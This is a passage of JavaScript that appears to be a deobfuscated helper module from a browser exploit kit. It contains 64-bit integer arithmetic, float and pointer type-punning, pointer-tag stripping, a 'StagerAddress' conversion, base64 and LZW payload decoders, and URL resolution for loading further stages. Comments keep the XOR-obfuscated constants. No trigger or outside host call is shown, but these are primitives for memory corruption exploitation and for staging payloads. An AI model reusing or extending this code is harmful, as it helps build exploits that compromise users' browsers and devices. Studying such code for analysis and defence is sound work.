/** Convert to a JS number (lo + hi * 2^32). May lose precision above 2^53. */
toNumber() {
return 0x100000000 * this.et + this.it;
}
/** Returns true if the sign bit (bit 63) is set. */
ft() {
return this.et > 127;
}
/** Check equality with a JS number. */
wt(t) {
const n = t / 0x100000000 >>> 0,
r = t >>> 0;
return this.et === n && this.it === r;
}
/** Bitwise NOT (~). */
not() {
return new Int64(~this.it, ~this.et);
}
/** 64-bit addition. */
add(t) {
const n = this.it + t.it;
var r = this.et + t.et;
return n !== n >>> 0 && r++, new Int64(n >>> 0, r >>> 0);
}
/** Add a signed 32-bit integer. */
H(t) {
return this.add(Int64.fromInt32(t));
}
/** Check equality with another Int64. */
lt(t) {
return this.it === t.it && this.et === t.et;
}
/** Check inequality with another Int64. */
bt(t) {
return this.it !== t.it || this.et !== t.et;
}
/** 64-bit subtraction. */
sub(t) {
return this.add(t.Ut());
}
/** Subtract a signed 32-bit integer. */
Bt(t) {
return this.add(Int64.fromInt32(t).Ut());
}
/** Bitwise AND. */
It(t) {
const n = this.it & t.it,
r = this.et & t.et;
return new Int64(n >>> 0, r >>> 0);
}
/** Bitwise OR. */
At(t) {
const n = this.it | t.it,
r = this.et | t.et;
return new Int64(n >>> 0, r >>> 0);
}
/** Bitwise XOR. */
vt(t) {
const n = this.it ^ t.it,
r = this.et ^ t.et;
return new Int64(n >>> 0, r >>> 0);
}
/** Two's complement negation. */
Ut() {
return this.gt().add(new Int64(1, 0));
}
/** Logical right shift by t bits (t must be < 32). */
dt(t) {
if (t >= 32) throw new Error("t >= 32");
return new Int64(this.it >>> t | this.et << 32 - t, this.et >>> t);
}
toString() {
return "";
}
/**
* Convert to a safe JS number. Throws if the value exceeds
* o (i.e., the high 32 bits are > 127).
*/
yt() {
if (this.et > o) throw new Error("this.et > o");
return 0x100000000 * this.et + this.it;
}
/** Convert to a BigInt. */
Nt() {
return BigInt(this.et) * BigInt(0x100000000) + BigInt(this.it);
}
/** Strip the pointer tag (mask high 32 bits with o = 0x7F). */
Dt() {
return new Int64(this.it, this.et & o);
}
/** Return the tagged number (strip tag, then convert to number). */
St() {
return 0x100000000 * (this.et & o) + this.it;
}
/** Alias for stripTag() - returns a new Int64 with the tag stripped. */
Tt() {
return new Int64(this.it, this.et & o);
}
/** Reinterpret this Int64 as a float64 (pack lo and hi). */
W() {
return B(this.it, this.et);
}
/** Returns true if both halves are zero. */
Et() {
return 0 === this.it && 0 === this.et;
}
/** Get the low 32-bit half. */
Pt() {
return this.it;
}
/**
* Convert to a pointer value. Adds 0xFFF (4095) to lo, propagating
* carry, then masks with 0xFFFFF000 to page-align.
* Throws if hi > o.
*/
toPointerValue() {
if (this.et > o) throw new Error("this.et > o");
var t = this.it + 0xFFF,
n = this.et;
return t !== t >>> 0 && n++, 0x100000000 * (n >>> 0) + ((t &= 0xFFFFF000) >>> 0);
}
};const m = Int64;
// ──────────────────────────────────────────────
// String encoding / decoding helpers
// ──────────────────────────────────────────────
/**
* Expand each character of a string into two bytes (UTF-16 LE byte pairs).
* Each character code is split into (code & 0xFF) and (code >> 8).
*/
function utf16Encode(t) {
const result = [];
var n;
for (n = 0; n < t.length; n++) {
const code = t.charCodeAt(n);
result.push(255 & code); // low byte
result.push(code >>> 8); // high byte
}
return String.fromCharCode.apply(null, result);
}
/**
* Decode a UTF-16 LE byte-pair string back to normal characters.
* Every two bytes are combined into one character.
*/
function utf16Decode(t) {
var lo,hi,i,result = "";
const len = t.length;
for (i = 0; i < len; i += 2) {
lo = t.charCodeAt(i);
hi = i + 1 < len ? t.charCodeAt(i + 1) : 0;
result += String.fromCharCode(lo | hi << 8);
}
return result;
}
/**
* Decode a raw string: expand via utf16Encode, then truncate at the first NUL.
*/
function decodeString(t) {
var n = utf16Encode(t);
const r = n.indexOf("\0");
return -1 !== r && (n = n.slice(0, r)), n;
}
/**
* Convert a byte value to a two-character lowercase hex string.
*/
function byteToHex(t) {
var n = t.toString(16).toLowerCase();
return 1 === n.length && (n = "0" + n), n;
}
/**
* Convert a 32-bit integer to a 4-byte unicode escape sequence string.
* Used to produce raw binary strings from 32-bit values.
*
* Layout: the 32-bit value is split into 4 bytes and encoded as two
* %uHHHH escape pairs.
*/
function intToUnicodeEscape(t) {
var result;
const byte0 = 255 & t; // bits 0-7
const byte3 = (0xFF000000 & t) >> 24 & 255; // bits 24-31
const byte2 = (0xFF0000 & t) >> 16 & 255; // bits 16-23
result = "%u";
result += byteToHex((0xFF00 & t) >> 8 & 255); // bits 8-15
result += byteToHex(byte0);
result += "%u";
result += byteToHex(byte3);
result += byteToHex(byte2);
return unescape(result);
}
/**
* Convert a float64 to a pair of uint32 values [hi, lo] (big-endian order).
*/
function doubleToUint32Pair(t) {
const buf = new Uint8Array(16);
const view = new DataView(buf.buffer, 0, 8);
const pair = new Array(2);
view.setFloat64(0, t);
pair[0] = view.getUint32(0, false); // big-endian hi
pair[1] = view.getUint32(4, false); // big-endian lo
return pair;
}
/**
* Resolve a potentially relative URL to an absolute URL.
* If the string does not start with "http://" or "https://", it is
* resolved relative to the current page's location.
*/
function resolveUrl(t) {
var url = decodeString(t);
// Test if the URL already has an http(s) scheme
if (null === RegExp("^https?://").exec(url)) {
const host = location.host;
const protocol = location.protocol;
if ("/" === url.charAt(0)) {
// Absolute path
url = protocol + "//" + host + url;
} else {
// Relative path
if ("." === url.charAt(0) && "/" === url.charAt(1)) {
url = url.substring(2);
}
const pathname = location.pathname;
const lastSlash = pathname.lastIndexOf("/");
url = protocol + "//" + host + pathname.slice(0, lastSlash + 1) + url;
}
}
window.log("resolveUrl => " + url);
return url;
}
// ──────────────────────────────────────────────
// Export standalone functions
// ──────────────────────────────────────────────
r.Vt = r.Int64 = Int64;
r.Ft = r.utf16Encode = utf16Encode;
r._t = r.utf16Decode = utf16Decode;
r.qt = r.decodeString = decodeString;
r.xt = r.byteToHex = byteToHex;
r.Wt = r.intToUnicodeEscape = intToUnicodeEscape;
/**
* Read an unsigned 16-bit value from a string at byte offset n.
* The string is treated as packed 16-bit values: each character holds
* a 16-bit code unit. n is a byte offset (divided by 2 for char index).
*/
r.Ht = r.readU16FromString = function readU16FromString(t, n) {
n /= 2;
return 0x10000 * t.charCodeAt(n + 1) + t.charCodeAt(n); // 893998450 ^ 893932914 = 65536
};
/**
* Convert two uint32 values to a float64 (via DataView, big-endian).
* @param {number} lo - low 32 bits (written at offset 4)
* @param {number} hi - high 32 bits (written at offset 0)
*/
r.Lt = r.u32PairToDouble = function u32PairToDouble(lo, hi) {
const view = new DataView(new ArrayBuffer(8), 0, 8);
view.setUint32(0, hi);
view.setUint32(4, lo);
return view.getFloat64(0);
};
/**
* Safely pack two uint32 values into a float64, with NaN-boxing validation.
* Throws if the resulting high bits indicate a NaN (0xFFF00000 mask).
*/
r.Mt = function safePackDouble(lo, hi) {
const f64 = new Float64Array(1);
const u32 = new Uint32Array(f64.buffer);
const check = new Uint32Array(1);
u32[0] = lo >>> 0;
u32[1] = hi >>> 0;
check[0] = 0xFFF00000 & u32[1]; // 878211651 ^ -878153149
if (0xFFF00000 === check[0]) throw new Error(0); // 929592947 ^ -929532301
return f64[0];
};
/**
* Convert a float64 to a Uint8Array (8 bytes).
*/
r.Rt = function doubleToBytes(t) {
const buf = new Uint8Array(16);
new DataView(buf.buffer, 0, 8).setFloat64(0, t);
return buf;
};
r.jt = r.doubleToUint32Pair = doubleToUint32Pair;
/**
* Convert a double to a StagerAddress (from the uint32 pair).
* Returns null if the pair has fewer than 2 elements.
*/
r.kt = r.doubleToStagerAddress = function doubleToStagerAddress(t) {
const pair = doubleToUint32Pair(t);
let result = null;
if (pair.length >= 2) {
result = new StagerAddress(pair[1], pair[0]);
}
return result;
};
/**
* Write a uint32 value into a byte array at offset n (little-endian).
* Returns the new offset (n + 4).
*/
r.zt = function writeU32ToArray(arr, n, value) {
const v = value >>> 0;
arr[n] = 255 & v; // byte 0
arr[n + 1] = v >> 8 & 255; // byte 1
arr[n + 2] = v >> 16 & 255; // byte 2
arr[n + 3] = v >> 24 & 255; // byte 3
return n + 4;
};
/**
* Read a uint32 from a byte array at offset n (little-endian).
*/
r.Gt = function readU32FromArray(arr, n) {
return (arr[n] | arr[n + 1] << 8 | arr[n + 2] << 16 | arr[n + 3] << 24) >>> 0;
};
/**
* Decode a base64 string to a UTF-16 string.
* The base64-decoded bytes are treated as UTF-16 LE pairs.
*/
r.Jt = r.base64DecodeUtf16 = function base64DecodeUtf16(t) {
var n,code,i,result = "";
const decoded = globalThis.atob(t);
const len = decoded.length;
// Pad with a NUL 4-byte unicode escape to ensure even length
n = decoded + intToUnicodeEscape(0);
for (i = 0; i < len; i += 2) {
code = n.charCodeAt(i);
code |= n.charCodeAt(i + 1) << 8;
code >>>= 0;
result += String.fromCharCode(code);
}
return result;
};
/**
* LZW decompression.
* Decompresses a string that was compressed with LZW encoding.
* Handles the surrogate gap: when the dictionary index reaches 0xD800 (55296),
* it jumps to 0xE000 (57344) to avoid the Unicode surrogate range.
*/
r.Kt = r.lzwDecompress = function lzwDecompress(t) {
const dict = new Map();
var prev,entry,code,nextCode,
result = "",
dictSize = 256; // 1967607135 ^ 1967606879
// Initialize dictionary with single-byte entries (0..255)
for (prev = 0; prev < 256; prev += 1) {// 1984197735 ^ 1984197991
dict.set(prev, String.fromCodePoint(prev));
}
[...t].forEach(function (ch, idx) {
if (0 === idx) {
// First character: output directly
prev = String.fromCodePoint(ch.codePointAt(0));
entry = prev;
} else {
code = ch.codePointAt(0);
if (dict.has(code)) {
nextCode = dict.get(code);
} else {
if (code !== dictSize) throw new Error(0);
nextCode = prev + String.fromCodePoint(prev.codePointAt(0));
}
entry += nextCode;
dict.set(dictSize++, prev + String.fromCodePoint(nextCode.codePointAt(0)));
// Skip the Unicode surrogate range (0xD800..0xDFFF)
if (55296 === dictSize) {// 879182932 ^ 879205460 = 0xD800
dictSize = 57344; // 1886736973 ^ 1886761549 = 0xE000
}
prev = nextCode;
}
});
return utf16Decode(entry);
};
r.Ot = r.resolveUrl = resolveUrl;
/**
* Resolve a URL and pad it with NUL characters to a 4-byte boundary,
* then decode via utf16Decode.
*/
r.Qt = r.resolveUrlPadded = function resolveUrlPadded(t) {
var n = resolveUrl(t);
for (n += "\0"; n.length % 4 != 0;) n += "\0";
return utf16Decode(n);
};
/**
* Encode a 64-bit Int64 value as unsigned LEB128 into a byte array.
* @param {Array} arr - destination byte array
* @param {number} n - starting offset
* @param {Int64} value - the value to encode
*/
r.Xt = r.encodeLEB128 = function encodeLEB128(arr, n, value) {
var byte;
for (;;) {
byte = value.lo % 128; // 1466329413 ^ 1466329541
value = value.sub(Int64.fromInt32(byte));
if (0 === value.hi && 0 === value.lo) {
// Last byte: no continuation bit
} else {byte |= 128; // 1416853561 ^ 1416853689 (continuation)
}
arr[n++] = byte;
value = value.rshift(7);
if (!(128 & byte)) break; // 1110466900 ^ 1110467028
}
};
/**
* Decode an unsigned LEB128 value from a byte array.
* @param {Array} arr - source byte array
* @param {number} n - starting offset
* @returns {{ Zt: number, $t: number }} decoded value and number of bytes consumed
*/
r.Yt = function decodeLEB128(arr, n) {
var result = 0,
shift = 0;
const startOffset = n;
do {
result += (127 & arr[n]) << shift; // 1447114358 ^ 1447114249
shift += 7;
} while (128 & arr[n++]); // 1466525748 ^ 1466525876
return {
Zt: result,
$t: n - startOffset
};
};
/**
* Throw a generic error (used as an unreachable / abort marker).
*/
r.tn = function throwError() {
throw new Error("throwError");
};
// ──────────────────────────────────────────────
// Pointer tag helper
// ──────────────────────────────────────────────
/**
* Strip the pointer tag from a BigInt pointer value by masking with u.
*/
function stripPointerTag(t) {
//window.log("strip " + t.toString(16));
return t & u;
}
// ──────────────────────────────────────────────
// TypeHelper class
// ──────────────────────────────────────────────
/**
* Helper class that wraps a DataView for performing type-punning conversions
* between various numeric types (int16, uint16, uint32, float32, float64,
* bigint64) via an internal 16-byte buffer.
*/
r.nn = class TypeHelper {
constructor() {
this.buffer = new ArrayBuffer(16), this.view = new DataView(this.buffer);
}
/** Convert a value to a signed 16-bit integer. */
un(t) {
this.view.setInt16(0, t, true);
return this.view.getInt16(0, true);
}
/** Convert a value to an unsigned 16-bit integer. */
on(t) {
this.view.setUint16(0, t, true);
return this.view.getUint16(0, true);
}
/** Convert any value (number or bigint) to uint32. */
sn(t) {
if ("bigint" == typeof t) {
this.view.setBigUint64(0, t, true);
} else {
this.view.setUint32(0, t, true);
}
return this.view.getUint32(0, true);
}
/** Set a double, replace its low 32 bits, read back as double. */
hn(t, n) {
this.view.setFloat64(0, t, true);
this.view.setUint32(0, n, true);
return this.view.getFloat64(0, true);
}
/** Set a double, replace its high 32 bits, read back as double. */
cn(t, n) {
this.view.setFloat64(0, t, true);
this.view.setUint32(4, n, true);
return this.view.getFloat64(0, true);
}
/** Read a BigUint64 from 4 UTF-16 characters (8 bytes). */
fn(t) {
for (let n = 0; n < 4; n++) {
let code = t.charCodeAt(n);
if (Number.isNaN(code)) throw new Error("Number.isNaN(code)");
this.view.setUint16(2 * n, code, true);
}
return this.view.getBigUint64(0, true);
}
/** Convert a float32 to its uint32 bit representation. */
an(t) {
this.view.setFloat32(0, t, true);
return this.view.getUint32(0, true);
}
/** Convert a BigInt (uint64) to a float64. */
wn(t) {
this.view.setBigUint64(0, t, true);
return this.view.getFloat64(0, true);
}
/** Set a BigUint64, replace byte 0 with n, read back as BigUint64. */
gn(t, n) {
this.view.setBigUint64(0, t, true);
this.view.setUint8(0, Number(n));
return this.view.getBigUint64(0, true);
}
/** Set a BigUint64, replace low uint32 with n, read back as BigUint64. */
ln(t, n) {
this.view.setBigUint64(0, t, true);
this.view.setUint32(0, Number(n), true);
return this.view.getBigUint64(0, true);
}
/** Set a uint32, replace byte 0 with n, read back as uint32. */
bn(t, n) {
this.view.setUint32(0, t, true);
this.view.setUint8(0, Number(n));
return this.view.getUint32(0, true);
}
/** Set a uint32, then overwrite it entirely with n, read back. */
Un(t, n) {
this.view.setUint32(0, t, true);
this.view.setUint32(0, Number(n), true);
return this.view.getUint32(0, true);
}
/** Convert a JS number to a BigUint64 by splitting into lo/hi uint32. */
Bn(t) {
this.view.setUint32(0, Number(t >>> 0), true);
this.view.setUint32(4, Number(t / 0x100000000), true);
return this.view.getBigUint64(0, true);
}
/** Set a BigUint64, replace low uint32, read back as BigUint64. */
mn(t, n) {
this.view.setBigUint64(0, t, true);
this.view.setUint32(0, Number(n), true);
return this.view.getBigUint64(0, true);
}
/** Identity: write a BigUint64 and read it back (normalization). */
In(t) {
this.view.setBigUint64(0, t, true);
return this.view.getBigUint64(0, true);
}
};
r.An = stripPointerTag;
/**
* Check whether a value has a pointer tag (i.e., stripping the tag changes it).
*/
r.vn = function (t) {
return stripPointerTag(t) !== t;
};
return r;
};